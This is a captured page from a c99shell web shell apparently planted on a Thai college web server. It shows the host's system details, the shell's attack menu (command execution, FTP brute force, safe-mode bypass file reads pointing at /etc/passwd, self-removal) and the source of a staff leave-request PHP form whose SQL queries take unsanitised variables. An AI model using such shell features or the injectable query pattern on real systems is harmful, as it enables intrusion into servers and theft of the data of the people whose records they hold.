!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/directorBCNU/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddAbsent_02.php (16.24 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("../include/FunctionDB.php");
include(
"../include/Function.php");
include(
"admin_menu.php");
 
ConnectDB();
$Username $valid_user;
$sql "SELECT * FROM  user_tb WHERE Username='$Username'";
$res mysql_query($sql);
$rs1 mysql_fetch_array($res);
$sql "Select * From personal_tb  Where Teacher_code='$Teacher_code'";
$result mysql_query($sql) or die(" Error").mysql_error();
$rss mysql_fetch_array($result);
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link rel="stylesheet" href="../css/cart4.css" type="text/css">
<script language="JavaScript" src="../calendar/ew.js"></script> 
<script language="JavaScript" src="../calendar/popcalendar.js"></script>
<script language="JavaScript" type="text/JavaScript">
function MM_reloadPage(init) {  //reloads the window if Na v4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);
//-->

}
var highlightcolor="lightyellow"
var ns6=document.getElementById&&!document.all
var previous=''
var eventobj
//Regular expression to highlight only form elements
var intended=/INPUT|TEXTAREA|SELECT|OPTION/

//Function to check whether element clicked is form element
function checkel(which){
if (which.style&&intended.test(which.tagName)){
if (ns6&&eventobj.nodeType==3)
eventobj=eventobj.parentNode.parentNode
return true
}
else
return false
}

</script>
<style type="text/css">
<!--
.style1 {
    font-size: 14px;
    font-family: Tahoma;
}
.style2 {
    font-size: 14px;
    font-weight: bold;
    font-family: Tahoma;
}
.style5 {font-size: 14px; font-family: Tahoma; color: #FF0000; }
-->
</style>



<table width="807" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="807"><br>
          <fieldset>
            <legend><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="menu_From.php?Teacher_code=<? echo $rss[Teacher_code?>">หน้าหลัก </a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="AbsentByYear.php?Teacher_code=<? echo $rss[Teacher_code?>">ข้อมูลประวัติการลา </a></font><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /></span></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><span class="NOTE">บันทึกข้อมูลแบบลาพักผ่อน</span></font></legend>
            <label><div align="center">
              <form id="form1" name="form1" method="post" action="InsertPlaningIn.php">
                <div align="left"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font>
                </div>
                <table width="602" cellpadding="0" cellspacing="0">
                  <col width="88" />
                  <col width="79" />
                  <col width="85" />
                  <col width="56" />
                  <col width="64" />
                  <col width="185" />
                  <tr height="31">
                    <td height="31" width="104"></td>
                    <td width="74"></td>
                    <td colspan="3" align="center">
                    แบบใบลาพักผ่อน
                   </td>
                    <td width="65"></td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="6">                                                                                          <span class="style1">     เขียนที่ วิทยาลัยการสาธารณสุขสิรินธร จังหวัดชลบุรี</span></td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="6" align="left">                                                                                  วันที่<font color="#000000">
          <select name="select2" id="select5" class="select" >
                          <? getDay1to31();?>
                        </select>
เดือน
<select name="select2" id="select6" class="select" >
  <? getThaiMonth();?>
</select>
ปี พ.ศ. </font><font color="#0000FF" size="2" face="Tahoma">
<input name="mYear3" type="text" id="mYear3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="2" maxlength="4" />
</font></td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="3" align="left">เรื่อง   ขอลาพักผ่อน</td>
                    <td width="33"></td>
                    <td width="204"></td>
                    <td></td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="5" align="left">เรียน      ผู้อำนวยการวิทยาลัยการสาธารณสุขสิรินธรจังหวัดชลบุรี</td>
                    <td></td>
                  </tr>
                  <tr height="29">
                    <td height="25"></td>
                    <td colspan="5" align="left">ข้าพเจ้า....<font color="#003366" size="2" face="Tahoma"><? echo $rss[First_name]?> <? echo $rss[Teacher_name]?>&nbsp;<? echo $rss[Teacher_lastname]?></font> ..................................    ตำแหน่ง.......<font size="2" face="Tahoma"><? echo $rss[Gover_pos]?>.....</font></td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="6" align="left">สังกัด....<font size="2" face="Tahoma">
                      <?php
         $Faculty_code 
=  $rss["Faculty_code"];
         
$sql "Select * From   faculty_tb Where Faculty_code='$Faculty_code'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[Faculty_name] ";
         
?>
                    </font>........<span class="style1">วิทยาลัยการสาธารณสุขสิรินธร จังหวัดชลบุรี</span>.....<span class="style1">สถาบันพระบรมราชชนก</span></td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="6" align="left">มีวันลาพักผ่อนสะสม<font color="#0000FF" size="2" face="Tahoma">
                      <input name="Daytotal" type="text" id="Daytotal" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="3" maxlength="2" />
                    </font>วันทำการ    มีสิทธิลาพักผ่อนประจำปีนี้อีก 10 วันทำการ รวมเป็น <font color="#0000FF" size="2" face="Tahoma">
                    <input name="Daytotal2" type="text" id="Daytotal2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="3" maxlength="2" />
                    </font>วันทำการ</td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="6" align="left">ขอลาพักผ่อนตั้งแต่วันที่
                        <select name="mDate" id="select3" class="select" >
                          <? getDay1to31();?>
                        </select>
เดือน
<select name="mMonth" id="select4" class="select" >
  <? getThaiMonth();?>
</select>
ปี พ.ศ.
</font><font color="#0000FF" size="2" face="Tahoma">
<input name="mYear" type="text" id="mYear" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="2" maxlength="4" />
</font><font color="#000000">&nbsp;                    </font>.ถึงวันที่<font color="#000000">&nbsp;
                <select name="mDate2" id="mDate2" class="select" >
                      <? getDay1to31();?>
                </select>
เดือน
<select name="mMonth2" id="select2" class="select" >
  <? getThaiMonth();?>
</select>
ปี พ.ศ.
</font><font color="#0000FF" size="2" face="Tahoma">
<input name="mYear2" type="text" id="mYear2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="2" maxlength="4" />
</font>มีกำหนด<font color="#0000FF" size="2" face="Tahoma">
                    <input name="Day" type="text" id="Day" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="2" maxlength="2" />
                    </font>.วัน</td>
                  </tr>
                  
                  <tr height="29">
                    <td height="29" colspan="6" align="left">ในระหว่างลาจะติดต่อข้าพเจ้าได้ที่<font color="#0000FF" size="2" face="Tahoma">
                    <input name="Info_name" type="text" id="Info_name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rss[Address?>" size="60" />
                    </font></td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="6" align="left">&nbsp;</td>
                  </tr>
                  <tr height="29">
                    <td height="29"></td>
                    <td></td>
                    <td width="120"></td>
                    <td></td>
                    <td></td>
                    <td></td>
                  </tr>
                  <tr height="31">
                    <td height="31">ปีงบประมาณ</td>
                    <td>
                      <select name="select" id="select">
                         <option value="2551">2551</option>
                        <option value="2552">2552</option>
                        <option value="2553">2553</option>
                        <option value="2554">2554</option>
                      </select>                    </td>
                    <td></td>
                    <td colspan="3" align="left">                                       
                    ขอแสดงความนับถือ</td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="3" align="left"><div align="center">สถิติการลาในปีงบประมาณนี้ 
                      <select name="select3" id="select7">
                        <option value="2549">2549</option>
                        <option value="2550">2550</option>
                        <option value="2551">2551</option>
                        <option value="2552">2552</option>
                        <option value="2553">2553</option>
                        <option value="2554">2554</option>
                      </select>
                    </div></td>
                    <td></td>
                    <td></td>
                    <td></td>
                  </tr>
                  <tr height="31">
                    <td height="31" align="center">ลามาแล้ว </td>
                    <td align="center">ลาครั้งนี้</td>
                    <td align="center">รวมเป็น</td>
                    <td>&nbsp;</td>
                    <td>(ลงชื่อ).................................................</td>
                    <td></td>
                  </tr>
                  <tr height="29">
                    <td height="29" align="center">วันทำการ </td>
                    <td align="center">วันทำการ</td>
                    <td align="center">วันทำการ</td>
                    <td></td>
                    <td>(<font color="#003366" size="2" face="Tahoma"><? echo $rss[First_name]?> <? echo $rss[Teacher_name]?>&nbsp;<? echo $rss[Teacher_lastname]?></font>)</td>
                    <td></td>
                  </tr>
                  <tr height="31">
                    <td height="31">&nbsp;</td>
                    <td>&nbsp;</td>
                    <td>&nbsp;</td>
                    <td colspan="3" align="left">ความเห็นผู้บังคับบัญชา</td>
                  </tr>
                  <tr height="29">
                    <td height="29"></td>
                    <td></td>
                    <td></td>
                    <td colspan="3">
                    <input name="Info_name3" type="text" id="Info_name3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="40" />
                   </td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="3" align="left">ลงชื่อ.............................................ผู้ตรวจสอบ </td>
                    <td></td>
                    <td></td>
                    <td></td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="2" align="left">ตำแหน่ง........................................     </td>
                    <td align="left">                                        </td>
                    <td colspan="3" align="left">  (ลงชื่อ)............ .................................... </td>
                  </tr>
                  <tr height="29">
                    <td height="29" colspan="3" align="left">      วันที่......../...................../............... </td>
                    <td colspan="3" align="left">(ตำแหน่ง)............ ..............................….</td>
                  </tr>
                  <tr height="29">
                    <td height="29"></td>
                    <td></td>
                    <td></td>
                    <td colspan="3" align="left">         วันที่..........เดือน..........................พ.ศ............….</td>
                  </tr>
                  <tr height="29">
                    <td height="29"></td>
                    <td></td>
                    <td></td>
                    <td></td>
                    <td></td>
                    <td></td>
                  </tr>
                  <tr height="31">
                    <td height="31"></td>
                    <td></td>
                    <td></td>
                    <td align="left"><div align="center">คำสั่ง</div></td>
                    <td></td>
                    <td></td>
                  </tr>
                  <tr height="29">
                    <td height="29"></td>
                    <td></td>
                    <td></td>
                    <td align="left">          </td>
                    <td colspan="2" align="left"><label>
                      <input type="checkbox" name="checkbox" value="checkbox" />
                    </label>
                        
                    อนุญาต          
                      <input type="checkbox" name="checkbox2" value="checkbox" />                     
                    ไม่อนุญาต</td>
                  </tr>
                  <tr height="29">
                    <td height="29"></td>
                    <td></td>
                    <td></td>
                    <td></td>
                    <td colspan="2" align="left">....................................................................</td>
                  </tr>
                  <tr height="29">
                    <td height="29"></td>
                    <td></td>
                    <td></td>
                    <td colspan="3" align="left">...................................................................................</td>
                  </tr>
                  <tr height="29">
                    <td height="29"></td>
                    <td></td>
                    <td></td>
                    <td colspan="3" align="left">         (ลงชื่อ)......................................................……..</td>
                  </tr>
                  <tr height="29">
                    <td height="29"></td>
                    <td></td>
                    <td></td>
                    <td colspan="3" align="left">(ตำแหน่ง)............................................................….</td>
                  </tr>
                  <tr height="29">
                    <td height="29"></td>
                    <td></td>
                    <td></td>
                    <td colspan="3" align="left">         วันที่..........เดือน..........................พ.ศ............….</td>
                  </tr>
                  <tr height="31">
                    <td height="31"></td>
                    <td></td>
                    <td></td>
                    <td></td>
                    <td></td>
                    <td></td>
                  </tr>
                </table>
                <p>&nbsp;</p>
              </form>
              </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.013 ]--